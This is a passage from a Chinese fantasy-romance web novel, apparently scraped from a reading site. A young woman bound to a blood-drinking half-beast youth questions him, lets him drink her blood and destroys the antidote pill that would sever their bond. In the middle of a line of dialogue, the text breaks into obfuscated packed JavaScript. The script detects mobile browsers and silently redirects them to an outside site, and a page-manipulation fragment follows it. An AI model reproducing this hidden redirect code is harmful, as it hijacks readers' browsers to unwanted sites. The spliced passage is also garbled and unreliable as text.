谢非虞反应极快,松开她的脖子,转身将她护在身下。木柴砸在他背上发出沉闷的声响,两人一起摔倒在地。 “呃……”连翘痛哼一声,后背本就有些开裂的伤口在撞击下更是彻底崩开,温热的液体迅速浸透衣衫,浓郁的血腥味在密闭的柴房里弥漫开来。 压在她身上的少年突然僵住了。 连翘感到谢非虞的呼吸变得粗重,掐着她肩膀的手指深深陷入皮肉。她勉强抬头,在从门缝投进的月光下,看到谢非虞的眼睛又一次变成的猩红的竖瞳。 若是平日里他的眼睛像是仲夏时节水波荡漾的西子湖,那么此时此刻看起来活脱脱两汪沸腾的血池。 “小谢同志?”她试探着唤道,声音因为方才的掐捏而嘶哑。 少年没有回应,歪着头打量连翘,动作像只困惑的幼兽,只是死死盯着她染血的颈侧,喉结上下滚动。 “我还没同……啊!” 连翘的心中升腾起不妙的预感,结果她的拒绝还没讲完,谢非虞就猛地低头,尖利的犬齿刺入她颈侧的皮肤。 连翘皱着眉头,狠狠心要踢谢非虞的下腹,还没来得及动作,就感觉到少年的身体剧烈颤抖起来。他松开嘴,像被烫到似的后退,不停地吐着舌头,俊秀的五官皱成一团。 “辣…好辣……”他含糊不清地嘟囔,眼中的血色褪去些许。 连翘愣了一下,随即反应过来,没错,血液会随着心情变化味道。现在她怒火中烧,血自然是辣的。 “活该,”她恶狠狠地抹了把颈间的血迹,“辣不死你。” 可被骂的人没什么反应,月光下他的皮肤异常苍白,几乎能看到下面青色的血管,整个人散发着危险又脆弱的气息。 连翘说话的时候,谢非虞只有耳朵微微动了动,这个细微的动作让他看起来更像是某种野兽而非人类。 连翘挣动一下,没能挣脱,抬头就看见少年的眼神迷茫又渴望地落在她身上。 如痴如慕,似幻似真,若不是她知道自己只是个血包,都要以为这家伙对自己情根深种了。 连翘眯起眼睛,故技重施。 “想喝血吗?也不是不行……”她露出不怀好意的笑容,“回答我几个问题,我就给你喝甜的。” 21. 第 21 章 柴房里弥漫着血腥与干草混杂的气味,连翘颈间的血珠在月光下泛着光,被少女偏头蹭开来,并不均匀地涂抹在白皙的肌肤上,谢非虞的目光更痴缠了几分。 “你为什么要让我留在船上,为什么不让我跟着你们?” 连翘盯着他的眼睛,想要确定自己的推测。 “你继、继续跟下去…” 谢非虞的声音断断续续,原本属于少年清朗的嗓音变得喑哑,像是积了灰的风箱,落下沉重的判词。 “最后不会有好下场……” 连翘听明白了。 是觉得如今的修士风里来雨里去,没有师门的庇护,一路上艰难险阻、危机四伏,她这样一个手无缚鸡之力的大小姐本就没必要以性命为代价跟着他们去冒险。 但谢非虞这个人性子古怪透顶,如今伤了人都不知道在师兄面前说上两句讨饶的话来免去这次刑罚,更不消说这种带着关切、善意色彩的言语了。 他觉得不自在,觉得很麻烦,就好像不懂事的孩子一样,故意佯装出穷凶极恶的模样,亮出尖牙利爪证明自己不好相与。 要她摸黑赶上几里的路,想着或许累得半死不活后她就会知难而退;要她跟几筐柿子一起缩在暗格里,想着一觉醒来在湖的彼岸,她就会耐不住共生蛊传来的疼痛吃下解缘丹。 若不是那船夫没有立刻返程,恐怕还真如了他的意。 连翘追问:“所以当初你让我去参加拍卖会,就是为了让我拿到解缘丹之后,解了共生蛊离开吗?” 谢非虞的目光仍是一动不动地锁定住她,面庞的轮廓像是蘸着月色描出来,天生微垂的眼尾柔和了猩红的眸色,那其中缱绻萦萦升腾起几分懵懂的忿然, “你……”他顿了顿,语气有些不满,“你好笨。” 这就是承认了的意思,连翘明白。 只是听到现在这副模样的少年如此评价她,还是让她气笑了。连翘使力捏了捏少年的耳朵,带有惩罚和泄愤的意思。 谢非虞身上很凉,耳朵却烫得很,耳根处能摸到细密的茸毛——上一次发生这种情况还是他放血过多。 不能再耽搁了,连翘暗想。 “好吧,我还有最后一个问题,问完就给你喝血。” 谢非虞恢复意识的时候,只觉得后背的痛感越来越强了,嘴里传来温热腥甜的味道,他猛地支起身子,擦掉了唇上残留的血。 “醒了?” 身下的姑娘抬眸,面容苍白,鬓发凌乱,琥珀色的眸子中却是充满调笑意味的光芒。 少年眼中的血色如潮水般褪去,脑海中一时间有些混沌,他猛地甩头,试图迅速恢复清明。 “你最好快点吃了解缘丹离开,”声音冷得像淬了冰,“否则我真的会杀了你。” “这样啊,真可惜。” 连翘推开他,坐起来,从少年的袖口撕下一块布擦了擦自己脖子上的血渍,随口应道。 “我还以为我们已经是好朋友了呢。” “什么?” 不像往日那些人惶惶的求饶和遮掩不住的惊惧,她的语气实在太气定神闲,谢非虞明显一怔。 “不是好朋友的话,”她歪着头,眼中闪着狡黠的光,“那你就是爱上本小姐了。” 少年定定地瞧着她,苍白的脸上浮现一抹红晕,随即阴沉下来。 似乎从今天傍晚连翘在广场上看到他起,谢非虞的神色就没有好看过,他的面颊一直是惨白的、冰冷的,像是昆仑山山巅万年不化的冰雪。 但是这种冷厉与谢凛的又截然不同,这是一种伤人又伤己的决然。 “大小姐有没有听说过一个故事,”他慢悠悠道,“沉迷于自己水中倒影的人,最终如愿掉进湖里和自己的影子相拥,他淹死了。” 少年特意加重了最后几个字的咬字,眸中尽是讥诮。 “这个世界上,像你这么热衷于孤芳自赏的人确实不多见了。” “那我给你时间找个借口,”连翘不依不饶,“为什么不想让我死?” “谁不想让你死了,我不是说了吗,你要是再不走我就杀了你。” “哇,”连翘夸张地捂住嘴,“伤敌一千自损八百,您要自杀啊?” “那便不杀……”他顿了顿,熟练地威胁,“反正求生不得求死不能才是最难受的,大小姐想体验一下吗?” “折磨我不就是折磨你自己?” 少女奇怪地反问,语气十足十的真诚。 “这是你的癖好吗?你就不会感觉到痛吗,谢非虞?” 这句话像是一把钥匙,突然打开了谢非虞记忆深处的某扇门,他眼前闪过零碎的画面。 整个镇厄宗,除了偶尔神智清醒的娘,就只有一个扎着羊角辫的小姑娘会无条件地站在他这边,会关心他的伤口。 秋高气爽的时节,她给他留下宴席上没吃完的红烧肉; 春雨绵绵的午后,她蹲在他身边笨拙地缝补他破洞的衣服; 夏夜星空下,她会叽叽喳喳地跟他分享自己今天又遇到了哪些开心的又或者是不开心的事情。 最后定格在那个惨叫划破夜空,火光彻夜未熄的晚上,他找到的只剩下那姑娘常年系在头上的两枚铃铛。 已经沾了血,很多人的血,他洗了很久才洗掉。 惨淡的月光透过门缝照进此时灰尘弥散的柴房,两个人身上的衣服均是破破烂烂,大小不一都有伤口,狼狈得像是刚从狼窝中死里逃生。 少女睁着一双黑白分明的大眼睛瞧着他,眉目生动,毫无惧意。 谢非虞像毒蛇一般冰冷又和缓的语气撑不住了,他咬牙切齿。 “关你什么事,”少年猛地闭了闭眼,“快点回你的屋子去。” “我可以回去,”连翘站起身,“但你得跟我一起。这柴房不是睡人的地方,我刚刚来的时候看到门口蹲着一只小狗,想必是你抢占了人家的地盘。” 话音未落,外面突然传来几声细弱的呜咽。 两人推门一看,连翘方才口中所说的那只小黄狗正用一双黑豆似的眼睛殷切看着二人,尾巴摇得正欢。 “旺财!”连翘压低声音欢快地唤,那小狗闻声果然屁颠屁颠跑过来,亲昵地用毛茸茸的脑袋蹭她的手心。 谢非虞皱眉:“你怎么知道它叫旺财?” “我不知道啊,”连翘头也不抬,“但所有不认识的小狗都叫旺财,所有不认识的小猫都叫咪咪,这不是常识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467159|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 她是当真很喜欢毛茸茸,若不是谢非虞毛茸茸起来太过危险还害怕被男女主发现,她是不介意这人顶着一对尖尖的兽耳招摇过市的。她逗了一会儿小狗,突然神秘兮兮地问: “旺财,想不想吃点好东西?” 说着,她的手摸向腰间香囊。 谢非虞骤然意识到她要做什么,压低嗓音喝道:“住手!” 他的步子和脱口而出的制止一样快得惊人,只是在少年的手指即将够到她肩头的时候,连翘开了口。 “坐。”她简单又干脆地命令道。 面前的小黄狗极通人性,很快便从连翘的手势中领会了她的意思,摇着尾巴乖乖坐下了。 而诡异的是,连翘身后少年伸出的手也停滞在半空中,像是遭受了莫大的阻力,在顿了片刻后,他掀起衣摆,同小狗几乎是同步地盘腿坐下了。 “你……!” 谢非虞睁目结舌,却也很快反应过来发生了什么。 少女回头笑盈盈地欣赏了下他这副气急败坏的样子,心中满是大仇得报的快意,于是很好脾气地同他解释。 “你放心,虽然我问出了你随身把三日醉放在哪里,但只是给你用了一颗而已,剩下的都还在你的老地方。” 然后她当着他的面,从香囊中取出那枚几乎花掉她整箱灵石的解缘丹,毫不犹豫地将这枚通体莹白的丹药喂给了小狗。 虽然有些暴殄天物,但这也是无奈之举,连翘摸摸鼻头。 在保有理智的情况下,谢非虞是不会不顾自己的性命非要将她置于死地的,因此这个共生蛊就是她拿捏这家伙最好的手段,而只要解缘丹在她身上一天,谢非虞就不会放弃利用这个解药彻底摆脱她的想法。 所以最好的办法就是,当着他的面,毁掉解缘丹。 谢非虞没再说话了,只是用充满不解与愤怒的目光盯着她,几乎要在她的背上烧出两个窟窿眼。 “别这么生气,”她拍拍手站起身,随口安慰道,“解缘丹没了,不是还有祝余草么?等我们找到百里湘,拿到报酬,你赶我走的时候,我保证立马拍拍屁股滚回家。” 她在心里悄悄补充:反正根据系统给出的任务提示,下一个妖怪就在连翘的老家锦城。 少年的嘴唇动了动,却最终没有说出半个字,面上的愤怒一点点无可奈何地淡去了,但脸色仍旧不太好看。 说实在的,这副表情比起他露出那种虚情假意的微笑要好上许多,所以连翘忽视了他的臭脸,也蹲下身来,与他平视。 “虽然你嘴上不肯承认,但我知道你是为我好。只是……”她的声音认真起来,“我的未来,我的生死,你凭什么替我做决定?” 那小狗已经从门缝窜进柴房中去了,小院中只有呼啦啦的风声,月光下,少女琥珀色的眸子亮得惊人,像是瑰丽的宝石。 “没有人能让我做我不想做的事情。” 说完,她冲谢非虞伸出手。 “夜风吹够了吧?跟我回屋。” 她的语气理所当然,带着一贯的自信与张扬,将带着三分暧昧的话也说得光明磊落。 “我正觉得这山中夜里冷得出奇,急需一位好心人帮忙暖床呢。”